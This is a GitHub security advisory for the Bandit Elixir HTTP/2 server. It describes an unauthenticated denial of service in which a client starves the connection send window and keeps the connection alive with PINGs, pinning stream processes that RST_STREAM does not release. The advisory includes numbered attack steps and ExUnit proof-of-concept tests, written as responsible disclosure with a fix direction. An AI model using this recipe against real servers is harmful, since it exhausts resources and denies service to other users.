Skip to content

HTTP/2 connection-window starvation pins Plug processes indefinitely; RST_STREAM does not release them

High
mtrudel published GHSA-xj8g-532w-jv94 Aug 20, 2026

Package

erlang bandit (Erlang)

Affected versions

1.12.4

Patched versions

None

Description

@mtrudel I have isolated this while working on some Claude Fable security scan reports.
This is the AI analysis on bandit.

Affected: Bandit 1.12.4 (latest) and main @ b65c235. The code path is long-standing, not a recent regression.
Component: Bandit.HTTP2 — outbound flow control
Suggested severity: High — CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5). Availability only; no confidentiality or integrity impact. Yours to adjust.

Summary

An unauthenticated remote client can hold an unbounded number of Bandit stream processes — with their Plug state, conn, and queued response bytes — alive indefinitely by exhausting the HTTP/2 connection send window and never issuing a connection-level WINDOW_UPDATE. Periodic PING frames defeat the ThousandIsland read timeout, and RST_STREAM does not release the pinned resources.

Root cause

When a stream blocks on the connection window, Stream.send_data/3 calls the connection process with :infinity, and finish_data/5 queues the remainder plus the reply closure in Connection.pending_sends. That queue drains only on WINDOW_UPDATE/SETTINGS. Nothing bounds the wait, nothing cancels the queued send, and stream_terminated/2 does not purge pending_sends.

A client RST_STREAM becomes a message in the blocked stream process' mailbox, which that process cannot read while it is inside the call — so the cancellation is silently ignored.

By contrast, blocking on the stream window is bounded at 15s by stream.read_timeout. That asymmetry is what makes this look unintended rather than deliberate backpressure.

Preconditions

The application must return a response body larger than the remaining connection send window (default 65,535 bytes). Any endpoint serving a large asset, JSON payload, or proxied stream qualifies; no authentication or specific Plug behavior is needed. The attacker chooses the endpoint.

Attack

  1. Open an HTTP/2 connection; request a large-bodied resource.
  2. Grant a generous stream-level WINDOW_UPDATE so the connection window is the limiter.
  3. Read until the 65,535-byte connection window is exhausted; never send a connection-level WINDOW_UPDATE.
  4. Send PING every few seconds to keep the connection alive.
  5. Repeat across streams and connections.

Each stalled stream pins a process indefinitely. max_concurrent_streams is never exceeded — the streams are legitimately open — and resetting them frees nothing. Cost to the attacker is one idle socket plus periodic PINGs.

The impact is amplified for Plugs that hold a resource across the write, such as a proxy streaming from an upstream connection pool: each stalled stream also pins its pooled upstream connection, so a small number of stalled streams can starve unrelated traffic. That is how we encountered this.

Proof of concept

Three ExUnit tests, passing against main @ b65c235, mix format clean. Drop in as connection_flow_control_stall_test.exs and run with mix test connection_flow_control_stall_test.exs --include slow (~38s; the first test alone runs in ~1.4s without --include slow).

Results:

  • RST_STREAM is ignored (~1.4s): after CANCEL, the plug process is still alive and blocked; a later connection WINDOW_UPDATE writes the queued 4,465-byte remainder as DATA on the reset stream.
  • No timeout (~20s): with send-only PING keepalive, the plug is still blocked after 20s, connection still alive.
  • Contrast: the same setup blocking on the stream window returns {:error, "Timeout waiting for space in the send_window"} at ~15s and the process exits.

The first is the clearest: fast, deterministic, no timing assumptions, and protocol-visible.

defmodule HTTP2ConnectionFlowControlStallTest do
  # Reproduction of unbounded blocking on the *connection* send window.
  #
  # Bandit bounds a stream-window block with `stream.read_timeout` (15s), but a block on the
  # connection window is a `GenServer.call(..., :infinity)` into the connection process, whose
  # reply is queued in `Connection.pending_sends` until a connection-level WINDOW_UPDATE arrives.
  # Nothing bounds that wait, nothing cancels the queued send, and RST_STREAM cannot be observed
  # by a stream process that is blocked inside the call.

  use ExUnit.Case, async: true
  use ServerHelpers

  setup :https_server

  @cancel Bandit.HTTP2.Errors.cancel()

  describe "blocking on the connection send window" do
    test "is not cancelled by RST_STREAM, and stale data is sent after the stream is reset",
         context do
      context = blocking_server(context)
      socket = SimpleH2Client.setup_connection(context)

      plug_pid = start_blocked_stream(socket, context, grant: :stream_window)

      # The plug is blocked inside the connection process call, and the client cancels the stream
      SimpleH2Client.send_rst_stream(socket, 1, @cancel)
      Process.sleep(200)

      # The reset is queued in the stream process' mailbox but never acted on: the request keeps
      # its process, its Plug state and its queued body bytes alive
      assert Process.alive?(plug_pid)
      refute_received {:blocking_chunk_returned, ^plug_pid}

      # Growing the connection window drains pending_sends and puts the remainder of the body on
      # the wire for a stream the client already reset
      SimpleH2Client.send_window_update(socket, 0, 1_000_000)

      assert {:ok, 1, false, chunk} = SimpleH2Client.recv_body(socket)
      assert byte_size(chunk) == 4_465
      assert_receive {:blocking_chunk_returned, ^plug_pid}, 1_000
    end

    @tag :slow
    @tag timeout: 120_000
    test "is not bounded by any timeout while the connection is kept alive by PINGs", context do
      context = blocking_server(context)
      socket = SimpleH2Client.setup_connection(context)

      plug_pid = start_blocked_stream(socket, context, grant: :stream_window)

      # Well past the 15s that bounds a stream-window block
      ping_until(socket, 20_000)

      assert SimpleH2Client.connection_alive?(socket)
      assert Process.alive?(plug_pid)
      refute_received {:blocking_chunk_returned, ^plug_pid}
    end

    @tag :slow
    @tag timeout: 120_000
    test "contrast: blocking on the stream send window is bounded at 15s", context do
      context = blocking_server(context)
      socket = SimpleH2Client.setup_connection(context)

      plug_pid = start_blocked_stream(socket, context, grant: :connection_window)

      ping_until(socket, 16_000)

      assert_received {:blocking_chunk_error, ^plug_pid,
                       "Timeout waiting for space in the send_window"}

      refute Process.alive?(plug_pid)
    end
  end

  defp blocking_server(context) do
    context
    |> https_server(
      plug: blocking_plug(self()),
      thousand_island_options: [read_timeout: 2_000]
    )
    |> Enum.into(context)
  end

  # Writes 7 x 10k chunks against a 65_535 byte window, so the 7th chunk cannot be fully sent
  defp blocking_plug(test_pid) do
    fn conn, _opts ->
      data = String.duplicate("a", 10_000)

      send(test_pid, {:plug_ready, self()})
      receive do: (:go -> :ok)

      conn = send_chunked(conn, 200)

      conn =
        Enum.reduce(1..6, conn, fn _i, conn ->
          {:ok, conn} = chunk(conn, data)
          conn
        end)

      send(test_pid, {:blocking_chunk_started, self()})

      case chunk(conn, data) do
        {:ok, conn} ->
          send(test_pid, {:blocking_chunk_returned, self()})
          conn

        {:error, reason} ->
          send(test_pid, {:blocking_chunk_error, self(), reason})
          conn
      end
    end
  end

  # Drives the plug until it is blocked with 4_465 bytes of body still unsent, leaving whichever
  # window was not granted as the one that blocks
  defp start_blocked_stream(socket, context, grant: grant) do
    SimpleH2Client.send_simple_headers(socket, 1, :get, "/blocking_test", context.port)

    assert_receive {:plug_ready, plug_pid}, 1_000

    case grant do
      :stream_window -> SimpleH2Client.send_window_update(socket, 1, 1_000_000)
      :connection_window -> SimpleH2Client.send_window_update(socket, 0, 1_000_000)
    end

    # The window update is only observable once the plug produces frames, so let the connection
    # process apply it before any body is written
    Process.sleep(100)
    send(plug_pid, :go)

    SimpleH2Client.successful_response?(socket, 1, false)
    Enum.each(1..6, fn _i -> SimpleH2Client.recv_body(socket) end)
    assert {:ok, 1, false, chunk} = SimpleH2Client.recv_body(socket)
    assert byte_size(chunk) == 5_535

    assert_receive {:blocking_chunk_started, ^plug_pid}, 1_000
    refute_receive {:blocking_chunk_returned, ^plug_pid}, 500

    plug_pid
  end

  # Send-only keepalive: PING ACKs are left in the socket buffer so this never consumes the
  # frames a test is asserting on
  defp ping_until(socket, duration) do
    deadline = System.monotonic_time(:millisecond) + duration

    Stream.repeatedly(fn ->
      SimpleH2Client.send_frame(socket, 6, 0, 0, <<1, 2, 3, 4, 5, 6, 7, 8>>)
      Process.sleep(250)
      System.monotonic_time(:millisecond)
    end)
    |> Enum.find(&(&1 >= deadline))
  end
end

Two notes on the harness, in case they are useful when you adapt it:

  • The plug waits for a :go message so the client can grant the stream-level WINDOW_UPDATE before any body is written; otherwise the stream window blocks first and you get the bounded 15s path instead.
  • The keepalive is send-only — a PING that also reads its ACK will consume the frames the tests assert on.

Suggested fix direction

Give each pending send a finite lifetime and a cancellation path. Replacing :infinity with a timeout alone is not sufficient — it would leave the queued bytes and on_unblock in pending_sends, still to be written later on a dead stream. Roughly:

  • purge a stream's pending_sends entries in stream_terminated/2;
  • bound the queued lifetime and surface expiry to the blocked caller as a FLOW_CONTROL_ERROR, matching the stream-window path;
  • consider capping queued bytes/entries per connection.

Handling RST_STREAM for a blocked stream would also close the "cancel frees nothing" gap.

Mitigation for operators

No configuration option bounds this today. Reducing max_concurrent_streams limits per-connection cost but not the per-connection count. Connection-count limits and upstream pool sizing reduce blast radius without removing the primitive.

Disclosure

The reproduction tests were written with AI assistance; the behavior, code paths, and test results were verified by hand against main.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

No CWEs

Credits